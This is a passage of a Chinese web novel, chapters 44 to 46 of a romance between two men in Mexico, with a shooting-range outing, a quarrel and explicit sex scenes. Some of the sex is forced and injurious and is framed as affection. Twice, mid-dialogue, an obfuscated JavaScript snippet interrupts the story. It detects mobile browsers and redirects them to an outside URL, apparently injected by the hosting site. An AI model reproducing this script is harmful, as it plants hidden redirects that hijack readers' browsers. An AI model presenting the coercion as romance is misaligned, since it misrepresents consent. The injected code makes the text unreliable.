整天待在棺材一样的办公室里和一群脂粉小生打交道像什么话? “上次我来,”何湛程笑,“老二说可以送我一把枪,我就选了这把。” “这是你的?”戚时挑眉,“你不是说用不惯么?” “我就喜欢这把,再用不惯我也喜欢。”何湛程一脸坦然,抓起护目镜和降噪耳机塞戚时怀里,说:“玩儿你的去。” 戚时飞快戴上耳机和护目镜,扭头好奇问:“那你是有执照了?” 何湛程抬两个食指,冲他比了个十。 戚时挑眉不解。 何湛程一脸认真打广告:“何氏集团总裁何棣坤手把手教,资深雇佣兵教官雷萨亲自陪练,十天下本,童叟无欺,价格优惠,不满意可以退款。” 戚时哈哈笑起来:“知道了。” 心情愉悦地转回头,笑容敛起,置身射击台,整个人庄肃起来,仿佛自己真的是个要上战场作战的兵。 戚时从桌上选了两排大小不一的枪,轮番装好弹匣瞄准远处的靶子,脚踩定点,开始正式射击。 空荡山谷里,接连不断地响起手枪“砰砰砰”和机关枪“突突突突”的喧嚣回声。 何湛程站在一旁,见他家总裁完全沉浸在自己的世界里,打枪换匣逐渐上瘾,子弹四散蹦得跟烟花一样,表情是压抑不住的亢奋,操纵起器械来也愈发熟练,每一款枪型都爱不释手,还怪可爱的。 何湛程掏出手机,转头冲雷萨晃了两晃:“我可以给他拍几张照吗?” 雷萨点头:“可以,但是不能外传或者发在互联网上。” 何湛程一笑:“这个我知道。” 举起手机镜头,对着模拟激烈作战的戚某人咔咔咔拍了十来张,又趁雷萨不注意,飞快帮人录了个五六秒的视频。 雷萨发现后皱了下眉。 何湛程冲人笑嘻嘻;“别这么小气,我今天都请你吃早餐了,你难道不应该报答我一下吗?” 雷萨:“……” 这姓何的两兄弟,真是叫人头疼! 雷萨平时跟何棣坤常来往,虽然中文一直说不利落,但是听懂没问题,他知道刚才何湛程要把自己的沙|漠之鹰送给恋人,于是好奇地问:“原来你那把枪是要送给他吗?你们早就认识了吗?” 何湛程嘴角一勾,说:“你猜。” 雷萨困惑地挠了挠头,说:“我不知道,我只记得你刚来的时候,坤说你是单身,还让我介绍兄弟给你呢。” 何湛程轻哼一声:“我现在也是单身。” 只是当初何老二让他选枪的时候,他发自内心地选了这把唯一弄痛过他的枪。 让他痛了,他才会有感觉。 有感觉了,他才会在意。 别的枪、别的人,碰过再多,使用再熟练,他内心毫无波澜,也只觉得不过如此。 一轮红日升至中天,戚时精神旺盛,扛枪持续猛干了五小时,身上都起了一层薄汗,终于过足了瘾。 他一撂下枪,飞速闪身蹭地少爷身边,激动开心到语无伦次,但长篇大论不出什么心得体会,于是两手一攥拳,冲人大声吼:“爽!” 何湛程一笑,将自己喝过半瓶的水递给戚时:“你跟了我,我让你天天爽。” 戚时不自觉想歪了,耳根一红,扭头喝水去了。 何湛程让雷萨先帮戚时将那把枪收好,又说,他和戚时下午要去附近海域潜水,需要雷萨他们帮忙备好游艇和两套潜水设备。 “OK,”雷萨收起枪,问道,“你们现在要吃午饭吗,我们基地食堂里有单独的餐厅。” 何湛程伸手扯了下戚时衣袖:“你饿吗?” 戚时拧着水瓶盖:“不饿。” 何湛程就让雷萨开车把他们送到去靶场外的山谷。 说是山,海拔在300米左右,漫山遍野的绿地,丘峦起伏,空气清冽,几条绕着山脚的溪流蜿蜒汇入湖泊,每座山头都设置一座十平米左右的瞭望台据点,由所辖ZF军把守。 何湛程无意惹事,等雷萨走了,和戚时手牵着手,二人漫步在山野谷地,有一搭没一搭地闲聊。 干净鞋底踩在柔软草地,何湛程嘴角微扬着,听身旁人不住唏嘘感慨,说这次到墨西哥可算是没白来,他要是每天都过成这样就好了! 何湛程试探问:“如果你想,这也没什么不能的吧?” 戚时长叹一声:“是啊,但是我一个人天天这么过也没什么意思。” 何湛程笑:“那就和我过呗,反正你也不喜欢现在国内的生活,我带你去纽约吧,我在曼哈顿有套房,回头我继续去哥大上学,你给我当陪读兼司机,咱俩一起住,我靠自己也能赚钱养你。” 戚时不乐意:“怎么是我跟你去纽约,不是你跟我回燕京?” 何湛程挽住他胳膊,歪头靠在他肩膀撒娇:“二哥,跟我走吧,你不是想要自由吗,我可以给你。” 戚时鼻孔朝天不屑嗤一声:“真跟你去了纽约,老子连句英文都说不利落,我自不自由不知道,反正你是能随便处置我了,想得美,不去!” “呵呵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432597|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 何湛程阴沉地笑起来。 好一个不识相的狗男人,他昨晚想了一整个通宵,才终于下定决心继续回美国去过原来一成不变的生活,本想着有戚时陪在他身边,他的世界就会变得不一样,没料到这狗男人完全不在乎,还一副瞧不起他的蔑视态度? 呵呵,就这,他还包养个屁! 他现在想把人踹海里喂鲨鱼的心都有了!! 戚时毫无察觉,伸手指点了点何湛程的眉心,警告道:“你别想着在老子这儿选妃,我今晚就走,到底跟不跟我回燕京,你尽快考虑清楚。” 何湛程抬眼望他:“今晚一定要走么?” 戚时昂首挺胸:“当然!” “那今晚你不干我了?” 戚时:“……” 险些脱口而出一句“当然要!”,戚时激动得心脏狂跳,沉眉肃声道:“干完你再走。” 何湛程笑容嫣然,一个闪身横到戚时面前,手指重重戳上对方的胸膛,一字一顿道:“你、也、想、得、美!” 戚时眉头一锁,立刻紧攥住他手指,盯着他:“你昨天答应过我了,不能说话不算数。” 何湛程笑得无赖:“昨天是昨天,今天是今天,这世界万物都是瞬息万变的,昨天的我也不是今天的我,所以昨天的话,今天也不能算数。” 戚时磨着牙笑了:“何湛程,你给老子玩儿这套是吧?” 何湛程无所畏惧地挑衅:“我就这么玩儿,有本事你就打我啊!” 戚时深眸一沉,倏地攥紧他手腕,欺身压上,干糙嘴唇暧昧地蹭着怀里人泛着丝丝凉意的耳廓,在人耳畔恶笑低语:“程儿,你这么欠操,二哥才舍不得打你呢,我疼你还来不及呢。” 何湛程瞬间惊起一身鸡皮疙瘩,头发都吓得翘起来了。 毕竟比人家少活七年,他有点招架不住这个老变态。 忍不住缩了缩脖子,冲人干笑几声,卖乖道:“二哥,痒。” “别痒啊,”戚时将额头抵在他鬓角,刻意卖弄着烟嗓,与怀里某只试图挣扎逃跑的兔崽子低笑调情:“这才到哪儿啊,二哥还没把你操得下不来床呢,你小子当初那么整老子,当我没脾气呢,嗯?” 兔崽子缩成一团,连忙举手投降:“我错了!真错了!我认输!” 戚时冷哼一声,正准备撒手放人一马,不经意瞥见对方雪白细嫩的脸庞,猛地又饿狼扑食一样在人脸蛋上狠狠咬了两口,何湛程吃痛一叫,眼见着下一秒就要恼了,戚时才慢吞吞将人松开。 何湛程揉着脸擦口水,皱眉瞪他:“你发什么疯!” 戚时心虚清咳一声,两手插兜,别过脸朝向一边:“老子乐意!” 何湛程愤声问:“那你确定不跟我走了?” 戚时纳闷挑眉:“咱俩啥关系啊,就让我抛下一切跟你走?你咋不跟我走?” 何湛程气得蹭一下蹲地上,弯腰两手一抓,挖起两块绿油油的草皮就砸人脸上,恨声喊:“是!我们没关系,一点关系都没有!从一开始你就是这种扫兴又没劲的傻逼!小肚鸡肠又瞻前顾后的中老年人!你是早泄的乌龟!阳|痿的鸵鸟蛋!你当本少爷稀罕你这种晚年迟暮的残次品呢?!还跟你回燕京?艹!你又算哪盘儿菜?干你一回你都得趴在床上缓半天,气虚又没用,像你这种中看不中用的王八蛋,你就算是送上门来,本少爷还要嫌你皮松呢!!!” 猝不及防被劈头盖脸砸满脸泥土的戚时:“……” 不跟他计较,这突然对他又打又骂的干嘛? 还骂得这么脏。 一脸镇定地抹了把脸,戚时勾指拂掉挂在鼻梁上的几根草,盯他:“闹够没。” 何湛程瞪他:“没有!” “行。”戚时妥协般点点头。 何湛程微愣,正疑惑这人咋突然这么好脾气了,就见戚时暗沉着眼眸,将他仔仔细细上下打量起来。 接着,面无表情地活动着脖子抻了两下胳膊,迈着一米好几的大长腿朝自己走来。 何湛程以为这狗男人被触怒后又要强吻他什么的,连忙闭紧嘴,一副态度坚决宁死不屈的样子,没料对方停在他面前,冷不丁身子矮下半截,蓦然抡出右臂,一把收拢住了他双膝。 何湛程还没反应过来,戚时霍地起身,将他整个人扛在右肩,浑身寒气四溢,扛着他大步往山谷外走。 何湛程懵了,扭头问:“你干什么?!” “没看出来么,”戚时重重“啪”的一巴掌扇上他屁股:“不去潜水了,潜你。” 45.第45章 直到雷萨将直升机降落在别墅天台,何湛程懵懵的,一路被戚某兽钳制在怀里,还当对方刚才那话是玩笑话。 戚时在岛屿上语言不通,没他当翻译发布指令,戚时根本回不到陆地上,这也是他为什么今天带戚时来小岛上的原因—— 他就是要将人一整天都困在这里,只有晚上赶不上飞机,戚时就走不了。 没料到戚时居然请求外援,一边大步流星扛着他返回靶场,另一手掏手机给何老二打电话,让老二通知雷萨开直升机给他们送回来。 何老二正在忙事,接到电话后,问都没问就同意了。 何老二居然就这么把他给卖了?!! 何湛程痛心疾首。 在这个世界上,难道就没有他何湛程可以信任的人了吗? 头顶螺旋桨袭来强劲大风,轰隆隆噪音震耳欲聋,戚时弯腰起身,抱着何湛程出舱门,顺手在人屁股上狠狠拧了两把,笑容温柔又邪恶:“程儿,到了,准备好受死了么?” 然后拦腰抱着他下飞机。 何湛程两眼一黑,吓得魂飞魄散,四肢拼命挣扎着,忽地灵机一动,双腿唰一下绷得笔直,借助身高优势,用自己一米八四的身躯横挡在门口,不让戚时下飞机。 同时扭头去瞪雷萨:“你就这么眼睁睁看着我被他强|暴,然后见死不救吗!” 雷萨无奈一笑,摇了摇头。 “我倒觉得,你是乐在其中。” 何湛程:“???!!!” 谁乐在其中了?! 谁能被戚时这种除了脸帅、腿长、身材好、低音炮、业务能力强、名下房产豪车无数、身价几百亿、偶尔会很温柔地照顾人之外一无是处的禽兽强|暴还会乐在其中啊?! 没曾想戚时今天格外聪明,何湛程直挺着身子,左头右脚横挡着舱门,戚时就抱着他换成了头朝外、脚朝里的姿势,一如长杆破洞,轻轻松松就穿过了。 眼见进了楼就离死期不远了,何湛连忙搂上戚时脖子服软,焦急地叫嚷着:“二哥!二哥我错了,我真的知道错了!你放了我吧,我再也不拿土扔你了!真的!我是喜欢你才扔你的,别人想让我扔,我还不扔呢!” 戚时按电梯下楼,冷声冷气道:“别叫我‘二哥’,像我这种气虚早泄的迟暮老人家,哪里配做你年轻貌美何三少的二哥?” 何湛程忙道:“我开玩笑的!开玩笑你都听不出来吗?!” 戚时无动于衷:“如果我觉得不好笑,那这就不是玩笑。” 何湛程举手发誓:“那我不说了!我以后再也不说了!” 电梯门开,戚时抱着他迈进三楼走廊,偏脸淡淡瞥他一眼: “以后是以后,现在是现在,这世上的一切都变化得太快,以后你说不说,那是你的事,但现在罚不罚你,是我的事。” 何湛程:“…………” 猛地扭头,急哄哄冲坐在楼下悠闲喝下午茶的白发老者求救:“安德森!安德森!你快救我!” 安德森扶了扶他的老花镜,抬头一望,见楼上一对俊秀恋人,正亲密无间地打情骂俏,不禁面露慈祥微笑。 他放下茶杯,慢条斯理地站起身,冲正在楼下打扫卫生的女佣们招了招手,带着众人一齐都退了出去。 还非常贴心地把整栋楼的大门关严实了。 何湛程气得要厥过去了。 戚时倏地收紧揽在他后背和膝窝间的手臂,低喝:“老实点儿,要叫就在床上叫!” 何湛程瞪他:“我考虑好了,我不跟你走!” “晚了。” 戚时熟练按下密码,一脚行云流水踹进门,抱着人往浴室走。 何湛程双脚一落地,马不停蹄就卷着风火轮又要跑。 戚时打开莲蓬头试水温,另一手稳准狠掐着人后颈,毫不费力将何湛程逮回来,命令道:“衣服脱了。” 何湛程抱臂一偏头,装听不见。 戚时嗤笑:“怎么,不想脱,是因为想让我亲手帮你撕了?就像你上次对我那样?” 何湛程无可奈何,挥手一把将上衣掀掉,毫不客气甩对方脸上,不满道:“我早上刚洗过,又让我洗,你嫌我脏,我还嫌你当过别人的未婚夫呢!” 戚时强压着火气,抓下蒙在脸上的上衣,挥臂扔去一边,眯眼盯他:“裤子呢?裤子就不是衣服么?” 何湛程一脸认真:“狭义上来说,不是。” 戚时一动不动地盯着他。 场面僵持几秒,直到戚时要过来要亲自动手,何湛程才吓得忙弯腰脱裤子。 是条宽松的牛仔裤,缓缓褪下后,在狭窄的二人空间暴露出一双冷白笔直的长腿。 何湛程赤脚站在海蓝马赛克地板上,两侧突出的脚踝骨很漂亮,浴室雪亮的照明灯刺出寒凛的光,他冻得身上发冷,忍不住蜷着身子往戚时怀里靠了靠。 “内裤。”戚时紧了紧喉咙,眼神逐渐灼热起来。 “……”何湛程一声不吭,老实脱了。 脱了,然后丢在了戚时脚边。 像示威,更像在勾引。 戚时唇角微微一勾,他被何湛程这个动作取悦到了。 抬脚踩上,戚时微微倾身,鼻尖压上对方的鼻尖,呼吸与人交融,步步紧逼。 他沉眸打量着少年开始躲闪的眼,看少年变得薄红的脸,不动声色地抬臂揽住对方的腰,眸底暗流汹涌。 何湛程被人撩拨得情动,以为戚时要吻他,缓缓闭上了眼。 戚时却忽地一抬手,放大莲蓬头水流,下一秒,暴雨般的温水哗啦啦从二人头顶浇下,将赤|裸与不赤|裸的他与他彻底湿透。 何湛程吓一跳,一抹脸,慌忙睁眼。 戚时抬手,安抚般替他理了理湿漉漉的鬓角,又说:“别躲,过来,帮我也脱了。” 氛围到了,侍候反而成为一种情趣,何湛程红着耳根,指尖顺从滑下,捏住戚时腰间T恤的两侧下摆,低声说:“那、那你抬一下手。” 戚时配合地抬起双臂,视线一刻不停地盯着身前羞赧的少年,心潮激荡起伏,任对方帮自己脱掉黏在身上的T恤。 裤子是条迷彩长裤,何湛程又开始帮他解皮带 戚时命令:“蹲下解。” 何湛程脸更红,听话地蹲下解。 余光瞄了眼对方黑色的子弹头内裤,他埋头帮人褪下长裤,说:“抬腿。” 戚时两三下踢掉了鞋,抬腿迈出,说:“继续。” 何湛程浑身腾地烧起来。 强作镇定屏住呼吸,双手帮人一点点拉下……每次见都不禁令人咂舌的尺寸,还没来得及发表什么意见,头顶人毫无预兆地摁住了他的头。 何湛程一愣。 头顶人手臂灌力,“砰”地一声,将他摁得跪在地上,说:“继续。” 膝盖骨砸上湿淋淋的硬地板,那受刑一般的痛楚深入到骨髓,何湛程不敢置信仰脸望着戚时,震惊到瞳孔无限放大:“你他妈干什么?” 他纵使有错,也错不至此吧? 他何湛程在外风流多年,从来都是别人争先恐后地伺候他,他什么时候给别人做过这种脏事儿!! 戚老二哪来的自信? 这人也太看得起自己了吧?! 戚时晦暗神色隐没在蒸腾起的水雾里,问他:“你是不是没给别人做过这种事?” “废话!”何湛程怒上心头,忍痛蹭地一下站起身,恶狠狠瞪他:“我警告你,你别太把自己当回事了!” 其实如果对象是戚时,他并非不愿意做,只是这狼心狗肺的畜生居然敢这么粗暴地对待他,他没抡拳头砸烂这人的脑袋都觉得自己太深情了! 戚老二当他何湛程是什么? 总裁胯|下万千分之一的玩物么? 何湛程眼底闪过一丝受伤,猛地大力将人一把推开,转身推门就往外走。 “自作多情的神经病,趁早滚回你的京城,死了都跟我没关系!” “我从没和任何人订过婚,从没送出过任何一枚戒指,更不是谁的未婚夫,你以后也少给老子乱扣帽子。” 正要离开,身后人突然解释一句。 何湛程脚步一顿。 “还有,”那人似乎在凝视着他的背影,“除你之外,我没和任何人接过吻。” 何湛程霍然转身,眼睛瞪得老大,诧异的说不出话来。 戚老二……这人怎么回事? 既然这么看重接吻的话,他第一次亲过去的时候,这人怎么没拒绝他? 一个不习惯接吻的人,被强吻那一瞬间的条件反射难道不应该是先拒绝么? 花洒还在淋着水,戚时站在原地没动,内裤半褪不脱,本该是很滑稽的一个场面,但挂在对方犹如希腊雕塑般的身躯上,就被赋予了一种极致的诱惑与性感。 何湛程情不自禁吞了吞口水。 他承认,他爱这个坏男人的身体要更多一些。 戚时与他四目对视:“要么帮我穿上,要么帮我脱了,你自己选一个。” 何湛程望着他,犹豫片刻,嘴唇蠕动几下。 戚时点头,给了他一个确定的回复。 何湛程紧张地深呼吸两口气,在对方愈发炽热狂躁眼神注视下,重新迈腿踏了进去,转身关上了门。 “从今往后,你心里只准有我一个。” “当然。 膝盖缓缓跪在水里,何湛程闭上眼,觉得自己一定是疯了才会这样任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442575|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人宰割。 头发被一只大掌揪住,他被迫仰起头,有些恐惧地张着嘴,那人另一只手怜爱地抚摸过他脸庞,摸索着他嘴唇。 水流关了,整间浴室被热雾蒸腾,何湛程双手紧紧抱着头顶的人,脑袋一阵接着一阵的眩晕。 戚时抬起手,将窗户开了个宽缝,帮他透气,嗓音颤动喑哑:“继续。” 何湛程眼尾流下了生理性的泪,忍不住后退,仰头望着对方:“二哥,好痛啊,换个别的吧,我不想做这个了。” 戚时反而因为他一句“痛”给刺激到了,五指一抓,将他再度逮回来,不肯放他离开。 语气却十分温柔,哄道:“乖,疼点儿好,疼了,我们程儿就长记性了。” “只有我才能叫你这么疼。” “程儿,我要你一辈子都忘不了我。” …… …… 海风吹过露台,白纱幔飘动,悬在檐下的珍珠贝壳风铃叮当作响,赤陶色盆中茂密树叶婆娑,大航海刺绣湛蓝丝带随风飞舞。 窗外风景美得令人呼吸滞涩,戚时赤脚站在屋内,双臂一拢,哗啦一下关上窗,不让风吹进来。 窗外风景虽好,被他糟蹋得浑身乏力软成一团水的裸*身少年更令人着迷。 摧残归摧残,到底不忍心人冻坏。 把人惹哭了还能哄,冻坏了人的身子就不好玩了。 戚时朝床边走去,瞥一眼裹着浴巾趴在床头、目前只能用吸管喝水的人,眼神一暗。 然后不动声色地收起放在果盘里的瑞士弯刀、床柜上的摩洛哥风镂空金属架台灯、又清理掉摆在墙架的四个彩陶罐、装饰风景画旁的、两斤重的黑铁船锚,再然后—— 安全感满满地坐在了何湛程身旁。 何湛程疲倦地眯着眼,喉咙痛得几欲生裂,正叼着根黄色的塑料吸管喝水。 刚才戚时本来要给他热杯牛奶,何湛程说如果戚时再敢让他喝奶,他就尿他脸上,某个喜欢给他当爹的人这才给他换了水。 一只手按上他腰,身旁男人的嘴唇贴过来,低声问:“歇好了么?” 何湛程眼皮都懒得抬一下,说:“滚。” 他今天已经给足戚老二面子了,现在,这禽兽如果再敢动他,他非得把人剐了不可。 禽兽不知死活地倾身压上他肩,下面手指一勾,把他浴巾解了。 何湛程脸黑了。 戚时没脸没皮地蹭过来,低头凑在他颈窝到处嗅着,粗糙指腹抚上他胸膛沟壑,缓缓往下划去。 他低笑:“程儿,你刚才……真好。” 何湛程被人撩得心一软,轻哼一声。 无数次的破例,从未有过的卑微与挽留,宠溺、爱憎、牵挂,恨不得倾尽一切去赠予这个他唯一当恋人对待的情人,将人惯得无法无天,他能不好么? “程儿。” 何湛程鼻音发出一声“嗯”来。 “我呢?”戚时埋头钻他怀里,讨好地拱了拱,“你觉得我好么?” 何湛程不客气道:“你不好,你坏。” 戚时不满意地哼一声。 何湛程咬着吸管,“吱溜”吸尽杯底最后一口水,随口赶人:“我想睡觉了,你出去吧。” 戚时深眸一沉,突然手上使劲,将人扑倒,长腿一迈,跨坐在何湛程腰间。 何湛程:“……” 戚时一套动作行云流水,左手熟练抄起身下人的膝窝,猛地一抬,扣在自己腰间,另一手掐上对方脖子,将人摁得死死的。 何湛程被禁锢,不免恼火起来,拧眉瞪他:“你别太过分了!” “我好像说过无数遍了,”戚时沉声道,“别把我当做给你侍寝的妃子!” 何湛程气得两眼翻白:“TMD我累了想休息一会儿都不行?” “不行,”戚时开始耍无赖:“你刚才说了,要我帮你换个别的。” 何湛程奋力挣扎,伸脚踹他:“现在我又不想了!滚开!” 戚时眼疾手快,一把攥住他这条腿,抗在肩上。 “艹!”整个下身内里……彻底暴露在对方眼底,何湛程臊得满脸发窘。 他这个姿势跟男妓有什么区别?! “程儿,你脸红起来真好看。” 戚时心跳砰砰,他偏过头,握着何湛程的脚踝吻了吻。 接着,那吻逐渐绵延入里,纵深而进。 …… …… 戚时俯身侵吞下来。 抗在肩上的那条腿,后脚跟沿着他肩膀滑下,悬在他脊背,脚趾全蜷起成一团。 “程儿,叫我。” “傻、傻逼!” “嗯,看来我们程儿还不够疼……” 46.第46章 晚间,客厅。 穹顶悬挂的欧式水晶吊灯散出奢华的柔光,米白色墙壁前,一座半岛型厨台,浅褐流云纹大理石桌面,摆着橘子、香蕉和牛油果,角落黑釉盆栽茁壮生长着两株天堂鸟。 何棣坤嘴里叼着根烟,左手拿着香槟和威士忌,另一手捏着两个玻璃酒杯,朝餐台走来。 安德森端来酱牛肉、烤羊排、香肠和凉拌菜。 噗呲一声,火光跃动。 戚时燃上支烟,一口猛吸进肺,夹烟的手指随意搭在烟灰缸旁,他惬意地眯起了眼,深邃眸底蕴藏无限笑意,似乎……还有几分事后的意犹未尽。 何棣坤推一杯威士忌过来,两人默契地碰了下杯,趁着楼上少爷在睡觉,凑在一起吃饭喝酒、吞云吐雾。 何棣坤夹一筷子酱牛肉塞嘴里,问着:“明天呢?你骗他今晚走,他才这么赶鸭子上架,明天等他醒了,你打算怎么跟他交代?” 戚时缓缓喷出一口烟,不以为然地笑:“我和他已经是这种关系了,有什么好交代的?” 何棣坤哈哈笑两声。 “他一定会整死你的。” “不会,我们已经说好在一起了。” “是么?”何棣坤慵懒一笑,饶有兴致地望向戚时头上缠着医用绷带。 初见时,戚时脸上残留着几道玻璃划痕的细血痂,这几天才刚好了,现在右额角又洇出新鲜血的淡红,不晓得脑袋被什么东西给砸破了。 何棣坤抬筷子一指,笑容可掬:“那这个呢?怎么弄的?” 戚时脸上闪过几分不自然的尴尬,清咳一声,别过脸端杯喝酒。 “我自己不小心撞的。” 何棣坤不怀好意地笑,显然不信。 戚时避开人眼神,他才懒得跟何老二解释他和他弟弟床笫之间的事。 虽然说好在一起了,但没想到何湛程比他还嘴硬—— 少爷说,只和他是床|伴关系。 戚时并不是特别介意,他会自动将这句话归结为:他们是一对关系隐晦的恋人。 程儿的脾气确实有点大,又犟又难治,戚时承认,他在听到程儿那句完整的“好,但我可以去操*别人”之后,立刻被激得怒不可遏,动作也残暴起来。 程儿似乎还是个小孩,没事就爱戏弄人,戚时知道对方在故意逗他,可他就是一个会因为别人不负责的玩闹话而变得很没安全感的胆小鬼。 他没安全感,他就伏在那人身上,贪婪无尽地索取。 他怀抱着程儿颤颤发抖的身躯,听怀里人气若游丝的呻*吟,吻着程儿被自己*时眼尾流下的泪,他才会觉得赢的人是他。 程儿一开始觉得很好玩儿,蛇一样盘缠着他身躯与他*,那人是个欢脱明媚的性子,并不吝于取悦他,嗯嗯啊啊的,叫得又骚又动听,但很快,那人就意识到他是真的在生气。 他把人做得遍体鳞伤,让那骄矜的少爷疼得哭都哭不出来,他不听话的程儿逐渐像一只新出生的雪白老鼠,通体泛着红,拖着湿哒哒的小尾巴,一个劲儿地躲,绕着床乱爬。 戚时简直无法用言语来描述那副活色生香的yin|靡场景,他不自禁欲|火焚身,一把将人捞怀里猛亲,恨不得连人带骨头都吞吃进腹。 他想,如果他吃掉程儿,他就能将这个人彻底占为己有了。 于是他就露出獠牙,两眼通红地低吼着,一寸又一寸叼住那人的肉,发狠地咬。 程儿被惹恼了,痛叫着,求饶着,没完没了地骂他。 他或许有病,人家越骂他,他就越爱人家,也许这就是色令智昏,可他不在乎,他早已为这个人疯魔了! 他憎恨这个人的多情,又倾慕这人举手投足间流露出的风流倜傥,可如果这人不曾经历过风月,自己又怎会为这样一个他而如痴如狂地着迷? 齿间咬出血来,他沉浸在自己的爱恨之中,完全听不见对方说什么。 何湛程逃无可逃,猛地抄手拿起床头玻璃水杯砸他头上,刹那间,一泻鲜血直迸,戚时登时僵化在原地,看殷红的液体从自己额角汩汩淌下,滴滴答答,流进他和何湛程火热交|缠着的身体上。 何湛程愤愤骂他一句“活该!”,匆匆忙忙爬起身,跑去里屋拿药箱。 戚时倒在床上一阵眩晕。 他也想不明白,为什么每一次,不管是挨操还是操人,受伤的总是他? 他昏昏沉沉地靠在那人怀里,何湛程骂骂咧咧地给他上药,温凉手指擦过他额头,身体里弥漫的香味完全包裹着他,很舒服。 他忍不住去握住那手,又被人一巴掌打掉。 “老实点儿,别动!” 那人小心翼翼地帮他缠着绷带,一圈、又一圈,他眼睛一眨不眨地望着那人,不知怎么就掉眼泪了。 何湛程咒骂声一停,一副提心吊胆的紧张神色,问他怎么了? 他没好意思说,上次何湛程也这样缠绷带蒙住了他眼睛,把他胡乱折腾一顿后,转眼就没踪影了。 也没好意思说,他其实很怕这个花花蝴蝶一样的人再次蒙住他眼睛,又一次消失不见了。 他费尽周折追到天涯海角,在语言不通的异国他乡,一家家酒吧、夜店,一家家游戏厅、高档酒店挨个推门进去找。 他有点害怕,害怕撞见何湛程和别的人在亲热、上床,他一边紧张地暗自祈祷千万不要让他遇见这场景,一边又忍不住自我安慰:就算撞见又怎样,他有的是手段将这匹浪荡的野马囚|禁在他身边。 他心里浮起无限委屈,就回了对方一句“好疼”。 何湛程没吭声,过了会儿,那人搂着他入睡,才闷闷地凑在他耳边说了句“对不起啊”。 那句“对不起啊”,比之前对他脱口而出的“我爱你”,要深情动听得多。 所以—— 戚时夹烟的手端起威士忌杯,与对面何棣坤激荡一碰,得意地笑起来。 他知道,他的程儿也爱上了他。 一连数天,彻底越过最后一道防线的他与他,就只剩下昼夜不休的暧昧缠绵。 为防止被何老二逮住进行恶趣味人身攻击,何湛程这些天故意绕开跟对方碰面的时间。 好在何棣坤最近比较忙,早出晚归的,夜里回来了,就拉上戚时一块儿在楼下客厅抽烟喝酒东拉西扯地聊,那俩人都不会让他下楼吸二手烟,何湛程只需早上多睡俩小时懒觉,晚上提前回去房间,就能避开跟何老二同桌吃饭。 转眼就到了五月。 这晚凌晨三点多,窗外夜幕繁星点点,二人刚激战完,低声喘息着,又接了一场漫长的吻。 完事后,何湛程嫌被窝里黏湿湿的难受,戚时立马爬起来去洗澡,换了套清爽的白T恤大裤衩,手里拧着条湿浴巾,走过来帮瘫在床上懒得动的人擦身子。 何湛程不老实,平时总喜欢踩他肩膀,这次直接抬脚踩上了他脸。 弯月般的足弓,清透的脚掌心,雪白脚踝萦绕一缕香气,在面前这张俊美无俦的绝世容颜上踩来踩去,嘻嘻笑闹着,玩得很开心。 戚时也不生气,轻轻一偏头,张嘴就叼住他脚趾,湿漉的舌尖勾挑舔舐,半含进口中。 何湛程被撩得心脏狂跳,臊得脑颅冒烟。 戚时一副高大身躯蹲着他身下,浓眉飞扬,唇红齿白,深刻如刀凿般的五官尽显疏狂,浑身痞气,眸底七分深情三分挑逗,望着他宠溺地笑。 何湛程老脸一红,火速抽回脚丫子。 “变态!” 戚时笑声爽朗,将人抱到沙发上,动作熟稔地换下新被罩和床单,然后揣宝贝似的,揣着他的小宝贝一块儿躺进被窝里。 “程儿,”戚时忍不住俯身凑近,亲了亲对方嘴角,“乖程儿。” 何湛程皱皱鼻子,嗅着戚时洗完澡后仍弥留在身上的淡淡烟草味,好奇地问他每天都在楼下和何老二在聊什么? 戚时面不改色地说,都是些生意上的事,何棣坤在做海外市场这块儿是行家,平时交游广泛,能接触到许多第一手的资源,他跟何棣坤接触下来收获不少,也想着等回国后拓展海外业务呢。 何湛程“哦”了声,问:“那你想干哪行?” 戚时埋在人颈窝里吸香气,随口道:“根据擎荣最近几年的战略部署,大概会做手游,技术部门两年前就提过类似方案,我还专门派了团队去海外做调研,不过当时我根基不稳,生意场上认识的人也不多,只能一切方案优先紧着国内的办,加上集团里杂七杂八的成分,这事儿后来就黄了。” 何湛程笑:“笨蛋,我问你想干哪行,没问你家集团的战略。” 戚时一个劲儿拱头蹭着他胸膛,胡乱答着:“哪行都不想干,只想干你。” 何湛程哼一声:“那你又不跟我回纽约。” 戚时一笑,学着他也哼一声:“那你又不跟我回燕京。” 何湛程就觉得戚时比小学生还要幼稚。 他不想跟戚小学鸡拌这种无意义的嘴,但也不想让戚时觉得他太容易得手,于是话题就此止住,没再和人深聊。 早上,戚时去海边晨跑,何湛程闲闲倚着露台栏杆,手里摇着杯红酒,另一手打电话联系佟校长,问对方要一间单人单间的宿舍和专属停车位,说准备下半年去燕京大学上课。 佟老头连声应好,不多时,传来几套自称是燕大最豪华私人单间,说这些都是专供留学生的宿舍,问他想选哪个? 何湛程嫌屋太小,他在这种破杉木家具堆积、空间拥挤的老鼠窝里学习会憋屈死的,问人有没有大点儿的房子,佟老头又发给他一组照片。 在燕京大学旁黄金路段,离校不到十分钟的高档学区房,一套二百来平的精装大平层,全智能家具,采光好、通风畅快,令人一瞧就心旷神怡。 佟老头说,这是他的私人房产,留给外孙上燕大附中用的,但外孙现在刚进幼儿园,且等呢,目前这房子有专门代理在打理,很干净,何湛程不想住宿舍的话,可以搬去那边住。 然后推过来房产代理的联系方式。 